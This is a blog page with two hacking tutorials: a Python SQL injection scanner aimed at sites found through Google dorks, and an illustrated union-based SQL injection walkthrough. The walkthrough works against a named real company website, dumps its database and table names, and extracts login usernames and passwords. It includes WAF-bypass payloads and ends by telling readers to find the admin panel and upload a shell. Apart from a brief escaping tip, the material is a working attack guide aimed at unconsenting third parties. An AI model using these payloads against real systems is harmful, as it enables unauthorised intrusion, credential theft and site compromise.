Pak Softwares Spot: SQL Injection

How to Write My First SQL Injection Vulnerability Scanner

<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Hello, today we are making an Python MySQL SQL Injection checking tool. That's why we named it Code your first simple SQL Injection checking vulnerability with Python <span style="background-attachment: initial !important; background-clip: initial !important; background-image: none !important; background-origin: initial !important; background-position: initial !important; background-repeat: initial !important; background-size: initial !important; border-color: initial !important; border-image-outset: initial !important; border-image-repeat: initial !important; border-image-slice: initial !important; border-image-source: initial !important; border-image-width: initial !important; border-width: initial !important; height: 1em; margin-left: 0.07em !important; margin-right: 0.07em !important; max-height: 1em; vertical-align: -0.1em !important; width: 1em !important;"></span></span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">It will work only on GET parameter using websites.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">You are going to need:</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">     – Python 3.4</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">     – Internet Connection</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">     – A vulnerable website</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">     – Computer with Windows or Linux</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">If you haven't got installed Python yet, download it from the following link:</span></div>
<div style="line-height: 18px;">
<a href="https://www.python.org/downloads/" style="outline: none; text-decoration: none;"><span style="background-color: white; color: black; font-family: Georgia, Times New Roman, serif;">https://www.python.org/downloads/</span></a></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Python basics</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Python is written in C, it is one of the easiest programming languages for hacking tools, it includes alot of very useful libs, today, we will use 1 of them,</span></div>
<div align="center" style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Finding a website for testing </span><span style="background-color: white; font-family: Georgia, 'Times New Roman', serif;">You can easily find a website for testing using simple SQLi dorks, like inurl:"index.php?cat_id=". You can find vulnerable site dumps over the web.</span></div>
<h2 style="line-height: 18px; margin: 0px 0px 10px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif; font-size: small; font-weight: normal;">Step by step Code your first simple SQLi checking vulnerability with Python:</span></h2>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Before starting coding, make a new .py file.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Importing main libraries</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">This time we will use sys, urllib and urllib.request modules, so import those 3 by using import  sys, urllib, urllib.request or import sys, import urllib and import urllib.request in the new line</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;"><img alt="Code your first simple SQLi checking vulnerability with Python" class="alignnone size-full wp-image-6710" height="557" src="http://d289vtzrietndv.cloudfront.net/wp-content/uploads/2015/06/python-simple-sqli1.jpg" style="max-width: 100%; opacity: 1; padding: 0px;" width="889" /></span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Explanation: 'import' is used for importing libraries, such as urllib or os, system.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Selecting the input type</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Now we need to select the input type, the first one is pretty simple, the other one is harder. This time we will use the first one, but it does not affect other lines of code.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">1) Use input("") commands to get user input. This time it will be:</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">fullurl = input("Please specify the full vulnerable url:  ")</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;"><img alt="Code your first simple SQLi checking vulnerability with Python" class="alignnone size-full wp-image-6706" height="557" src="http://d289vtzrietndv.cloudfront.net/wp-content/uploads/2015/06/python-simple-sqli2.jpg" style="max-width: 100%; opacity: 1; padding: 0px;" width="889" /></span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Explanation: 'variable = input("Input: ")' sets the var 'variable' to user input, 'Input: ' is the text seen by the user at the input line.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">2) Use arguments for specifying the data:</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">for carg in sys.argv:</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">if carg == "-w":</span></div>
<div style="line-height: 18px; margin-left: 0.5in;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">argnum = sys.argv.index(carg)</span></div>
<div style="line-height: 18px; margin-left: 0.5in;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">argnum += 1</span></div>
<div style="line-height: 18px; margin-left: 0.5in;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">fullurl = sys.argv[argnum]</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;"><img alt="Code your first simple SQLi checking vulnerability with Python" class="alignnone size-full wp-image-6711" height="557" src="http://d289vtzrietndv.cloudfront.net/wp-content/uploads/2015/06/python-simple-sqli3.jpg" style="max-width: 100%; opacity: 1; padding: 0px;" width="889" /></span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Explanation: 'if' is a well known macro stament. Right now, we are using it to determine curent arg, the other lines – indicates the second argument, 'in' – checks if there is a specified text in a string.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Coding the program to make an web request</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">This is the most important part.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">resp = urllib.request.urlopen(fullurl + "=1\' or \'1\' = \'1\''")</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">body = resp.read()</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">fullbody = body.decode('utf-8')</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;"><img alt="Code your first simple SQLi checking vulnerability with Python" class="alignnone size-full wp-image-6707" height="557" src="http://d289vtzrietndv.cloudfront.net/wp-content/uploads/2015/06/python-simple-sqli4.jpg" style="max-width: 100%; opacity: 1; padding: 0px;" width="889" /></span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Explanation: the resp variable is set to the request response, body – to the response text, fullbody – to the decoded request text, '+' is the addition variable on Python, \ is the escape character.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Making the program to check if the target is vulnerable</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Now, once we have the response, we have to check if it contains SQL errors.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">We will use this code for that:</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">if "You have an error in your SQL syntax" in fullbody:</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">print ("The website is classic SQL injection vulnerable!")</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">else:</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">print ("The website is not classic SQL injection vulnerable!")</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;"><img alt="Code your first simple SQLi checking vulnerability with Python" class="alignnone size-full wp-image-6705" height="557" src="http://d289vtzrietndv.cloudfront.net/wp-content/uploads/2015/06/python-simple-sqli5.jpg" style="max-width: 100%; opacity: 1; padding: 0px;" width="889" /></span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Explanation: We use 'if' macro for checking if there's the specified text in the response.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Scanner with first type of getting user input</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;"><img alt="Code your first simple SQLi checking vulnerability with Python" class="alignnone size-full wp-image-6709" height="342" src="http://d289vtzrietndv.cloudfront.net/wp-content/uploads/2015/06/python-simple-sqli6.jpg" style="max-width: 100%; opacity: 1; padding: 0px;" width="677" /></span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">with second type</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;"><img alt="Code your first simple SQLi checking vulnerability with Python" class="alignnone size-full wp-image-6708" height="342" src="http://d289vtzrietndv.cloudfront.net/wp-content/uploads/2015/06/python-simple-sqli7.jpg" style="max-width: 100%; opacity: 1; padding: 0px;" width="677" /></span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">So yeah, that's it!</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Save the file, open cmd and run 'python filename.py' and input the requested info, if you were using the second method, use 'python filenamy.py -w website'. It will check if the site's vulnerable </span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">The copied code may not work, please rewrite it to your file </span></div>
<div align="center" style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">If you had errors in syntax</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Unexpected indendity shows up when there are problems with tabs.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Problems with syntax are mostly showing up on problems with macros. If this error occured, please check your macros validity.</span></div>
<h2 style="line-height: 18px; margin: 0px 0px 10px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif; font-size: small; font-weight: normal;">How to prevent simple SQL injection</span></h2>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Preventing SQLi ON MYSQL if very simple. Just use mysql_real_escape string for queries, as example:</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">$query = sprintf("SELECT * FROM users where user='%s' AND password='%s',</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">                        mysql_real_escape_string($username)</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">                        mysql_real_escape_string($password)</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">ADVICE: after having success on this scanner, try to making a heartbleed exploiter </span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Good luck!</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Writer: I am Vilius Povilaika, IT security specialist. Mainly developing exploits or other hacking tools.</span></div>
<div style="line-height: 18px;">
<span style="background-color: white; font-family: Georgia, Times New Roman, serif;">Website: c-genf.com</span></div>
<br />

How to Write My First SQL Injection Vulnerability Scanner

Hello, today we are making an Python MySQL SQL Injection checking tool. That's why we named it Code your first simple SQL Injection che...

SQL Injection Explanied With Images

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
we see how we create databases,tables,columns, and add record in it in different ways and now <br />
in this article , we will be covering on SQL injections ... how we can hack using sql injection<br />
<br />
please rep+ if you like it .. it took my 1 hour to complete <br />
what is sql injection???<br />
<br />
SQL injection is a very common method of hacking websies in this era..<br />
well, sql injection is a big thing, newbies think that this is not a big<br />
deal, as they can exploit this vulnerability with scripts like<br />
sqlmap, havij , sqlninja other kiddies scripts<br />
but SQL injection can be a huge thing that it can took many books to complete<br />
<span style="font-weight: bold;">So what you can DO with SQL injection </span><br />
You can access records,<br />
you can modify records<br />
you can bypass Login areas<br />
You can breach sql server<br />
<br />
okay here our first step begins<br />
<br />
<span style="font-weight: bold;">Finding Vulnerable websites</span><br />
well..if you are a hacker..You must know that<br />
search engines are your best friends... we can find vulnerable websites<br />
using google dorks...?<br />
common dorks are<br />
inurl:/index.php?id=<br />
inurl:/home.php?id=<br />
inurl:/article.php?id=<br />
inurl:/news.php?id=<br />
<br />
etc there is a huge list of dorks<br />
<br />
now if you search anyone of these.. you will find many websites,,, open any of them<br />
and you will see url like<br />
<br />
<br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>website.com/index.php?id=1</code></div>
</div>
this could be random<br />
okay to test that if site is vulnerable, just put a ' at the end of url<br />
and make it look like<br />
<br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>website.com/index.php?id=1'</code></div>
</div>
<br />
and if you see some error like<br />
<br />
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server<br />
version for the right syntax to use near '\'' at line 1<br />
or<br />
Warning: mysql_fetch_array()<br />
<br />
or any mysql error... etc or if you see any content of page missing<br />
then the site is vulnerable <br />
<br />
example<br />
<br />
<img alt="[Image: lgtf2af.png]" border="0" src="http://img541.imageshack.us/img541/1234/lgtf2af.png" /><br />
<br />
you see its mysql error..so the website is vulnerable <img alt="Smile" border="0" src="http://www.madleets.com/images/smilies/smile.gif" style="vertical-align: middle;" /> <br />
<br />
So now lets move to next step <br />
<br />
<span style="font-weight: bold;"> EXPLOITING the vulnerablity </span><br />
<br />
now so we have find vuln website..its time to fetching secret data <img alt="Big Grin" border="0" src="http://www.madleets.com/images/smilies/biggrin.gif" style="vertical-align: middle;" /><br />
<br />
so what is our next step <img alt="Smile" border="0" src="http://www.madleets.com/images/smilies/smile.gif" style="vertical-align: middle;" /> to find the number of columns in the table<br />
<br />
for that we replace ' with order by statment<br />
<br />
like <br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>website.com/index.php?id=1 order by 1--<br />
website.com/index.php?id=1 order by 2--<br />
website.com/index.php?id=1 order by 3--<br />
website.com/index.php?id=1 order by 4--</code></div>
</div>
<br />
we need to increase the order by number till we get some error like<br />
unknown column numbers or we found some content missing in the page<br />
<br />
example<br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>http://www.cementcorporation.co.in/page.php?id=20 order by 1-- NO ERROR<br />
http://www.cementcorporation.co.in/page.php?id=20 order by 2-- NO ERROR<br />
http://www.cementcorporation.co.in/page.php?id=20 order by 3-- NO ERROR<br />
http://www.cementcorporation.co.in/page.php?id=20 order by 10-- NO ERROR<br />
http://www.cementcorporation.co.in/page.php?id=20 order by 20-- NO ERROR<br />
http://www.cementcorporation.co.in/page.php?id=20 order by 21-- ERROR / CONTENT MISSING IN PAGE</code></div>
</div>
<br />
SO NOW WE SEE THAT WE GOT ERROR AT ORDER BY 21 , BUT NO ERROR AT ORDER BY 20,<br />
SO THAT MEANS WE HAVE 20 COLUMNS <img alt="Wink" border="0" src="http://www.madleets.com/images/smilies/wink.gif" style="vertical-align: middle;" /><br />
<br />
some times this thing never works, we dont get error even at order by 1000<br />
in that case we put ' at the end of id / parameter and put + at the end<br />
like <br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>http://www.cementcorporation.co.in/page.php?id=20' order by 21--+ error</code></div>
</div>
<br />
now next step begins <img alt="Big Grin" border="0" src="http://www.madleets.com/images/smilies/biggrin.gif" style="vertical-align: middle;" /><br />
<br />
<span style="font-weight: bold;"> Union Select </span><br />
<br />
NOW, we know we have 20 columns, now its time to select all the columns using union select<br />
select statment is use to view data , if you want to learn more about sql, you can check my <br />
article on working with SQL..<br />
oka for now<br />
<br />
we use statment like<br />
<br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>http://www.cementcorporation.co.in/page.php?id=20 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--</code></div>
</div>
<br />
now you will see any DIGIT of columns on page<br />
like 1 5 7 or anyone<br />
if you dont see, place - before parameter value <br />
example<br />
<br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>http://www.cementcorporation.co.in/page.php?id=-20 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--</code></div>
</div>
<br />
you can see in below picture<br />
<br />
you can see 3 and 4 on the web page .. these two are string columns..<br />
we can retrieve our data in these columns<br />
<br />
sometimes union select dont work due to WAF (web app firewall) ,, we add comments in our queries like<br />
/*!union*/+/*!select*/<br />
<br />
/*!union*/+(/*!select*/<br />
<br />
un/**/ion+sel/**/ect+1,2,3—<br />
<br />
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3—<br />
<br />
or change case<br />
<br />
/*!UnIOn*//*!SeLect*/+1,2,3—<br />
<br />
<br />
etc<br />
<br />
<br />
<br />
<img alt="[Image: oksohyM.png]" border="0" src="http://i.imgur.com/oksohyM.png" /><br />
<br />
<br />
now its time to retrive data in these columns<br />
<br />
we can retrive sensitive data .. we can call functions for database name
 database(), version info version() or @@version, user info user(),<br />
concat, group_concat(), LOAD_FILE etc and many more <br />
<br />
oka for the tutorial, i will call version function in column 3 and db and user info in<br />
column 4 using group_concat()...<br />
<br />
for that i will use<br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>http://www.cementcorporation.co.in/page.php?id=-20
 union select 
1,2,version(),group_concat(database(),0x3a,user()),5,6,7,8,9,10,11,12,13,14,15,1
6,17,18,19,20--</code></div>
</div>
<br />
I used 0x3a beacause its a hex value of SEMICOLON ( ; ) AND it will seprate two different values of different parameters <br />
<br />
now u can see in the image the column 3 and 4 are now replace with values that I called<br />
<br />
<img alt="[Image: mYXScSV.png]" border="0" src="http://i.imgur.com/mYXScSV.png" /><br />
<br />
okay .. next thing<br />
<br />
<span style="font-weight: bold;">how to find all databases in the website ??</span><br />
<br />
okay thats easy<br />
<br />
now we need to replace column name with<br />
query like this <br />
<br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>http://www.cementcorporation.co.in/page.php?id=-20
 union select 
1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 from information_schema.schemata--</code></div>
</div>
<br />
<br />
see <br />
<br />
<img alt="[Image: lgt73e3.png]" border="0" src="http://img407.imageshack.us/img407/4513/lgt73e3.png" /><br />
<br />
now we know there are basicaly two databases,<br />
information_schema and cementco_cement<br />
ignore information_schema<br />
why? because information_schema are system tables which define<br />
databases.. we can use these tables to look at the database layout style<br />
<br />
<br />
okay now we have our database ( we dont need to check, we can use its 
value actually, if we are trying to dump in current database,,, we can 
use <br />
its function too.. database() instead of cementco_cement.. its needed when we are dumping in outside of current database<br />
but in this case we will be simple dumping)<br />
<br />
okay let now lets find the tables in current db<br />
<br />
we will use WHERE , condtion in this query now<br />
<br />
we will fetch tables with select statement and use where condtion to determine which database tables we want to fetch<br />
<br />
okay <br />
syntax<br />
<br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>http://www.cementcorporation.co.in/page.php?id=-20
 union select 
1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 from information_schema.tables where table_schema=database()--</code></div>
</div>
<br />
<img alt="[Image: lgt97a9.png]" border="0" src="http://img845.imageshack.us/img845/8972/lgt97a9.png" /><br />
<br />
now you can see we have all table names <img alt="Smile" border="0" src="http://www.madleets.com/images/smilies/smile.gif" style="vertical-align: middle;" /> <br />
which are <br />
<br />
archive,corrigendum,eselling,login,login_hindi,login_private,news,tbl_complaint,

tbl_email_sender,tbl_email_sender_hindi,tbl_email_sender_private,tbl_home_animat

ion,tbl_home_private,tbl_pages,tbl_pages_hindi,tbl_pages_private,tbl_sub_pages,t
bl_tnc,tender,tender2,tender3,tender_drawing,unit<br />
<br />
now we gonna dump in sensitive table<br />
which is login <br />
<br />
okay... lets dump it<br />
<br />
now we will replace group_concat(table_name) with 
group_concat(column_name) and information_schema.tables with 
information_schema.columns<br />
and in where condtion we will change table_schema with table_name<br />
and will give parameter of table_name = name of table in qoute like<br />
table_name='login'<br />
why used qoute? because its datatype is varchar ..<br />
sometimes it does not work<br />
so we have to covert it into mysql char ... for that i use hack bar <img alt="Big Grin" border="0" src="http://www.madleets.com/images/smilies/biggrin.gif" style="vertical-align: middle;" /><br />
<br />
so now our query looks like<br />
<br />
mysql char value of login is CHAR(108, 111, 103, 105, 110)<br />
<br />
exmaple<br />
<br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>http://www.cementcorporation.co.in/page.php?id=-20
 union select 
1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 from information_schema.columns where table_name=CHAR(108, 111, 103, 
105, 110)--</code></div>
</div>
<br />
yeahhhh..now we can see columns of table 'login'<br />
which are ...id,username,password,email,date_added,lastlogin,sessionid,type,status<br />
<br />
<img alt="[Image: 2uxh8Qh.png]" border="0" src="http://i.imgur.com/2uxh8Qh.png" /><br />
<br />
okayy...now the fun begins... time to dump the columns...<br />
for example if we need to dump username and password columns from table 'login' we will replace the query with<br />
<br />
select group_concat(username,0x3a,password) from login--<br />
dumped <br />
<br />
syntax<br />
<div class="codeblock">
<div class="title">
Code:<br />
</div>
<div class="body" dir="ltr">
<code>http://www.cementcorporation.co.in/page.php<br />
?id=-20 union select 1,2,3,group_concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from login--</code></div>
</div>
<img alt="[Image: sE3M29s.png]" border="0" src="http://i.imgur.com/sE3M29s.png" /><br />
<br />
you can see username:password in the webpage <img alt="Big Grin" border="0" src="http://www.madleets.com/images/smilies/biggrin.gif" style="vertical-align: middle;" /><br />
<br />
now just find admin panel and upload the shell <img alt="Big Grin" border="0" src="http://www.madleets.com/images/smilies/biggrin.gif" style="vertical-align: middle;" /><br />
<br />
it was easy?? yeah.. but sometime waf can fuff your mind <img alt="Big Grin" border="0" src="http://www.madleets.com/images/smilies/biggrin.gif" style="vertical-align: middle;" /> <br />
<br />
now .. dealing with error based sql injections<br />
<br />
well i have already posted this tutorial here<br />
<br />
<a href="http://www.madleets.com/Thread-double-query-sql-injection-video" target="_blank">http://www.madleets.com/Thread-double-qu...tion-video</a><br />
</div>

SQL Injection Explanied With Images

we see how we create databases,tables,columns, and add record in it in different ways and now in this article , we will be covering on S...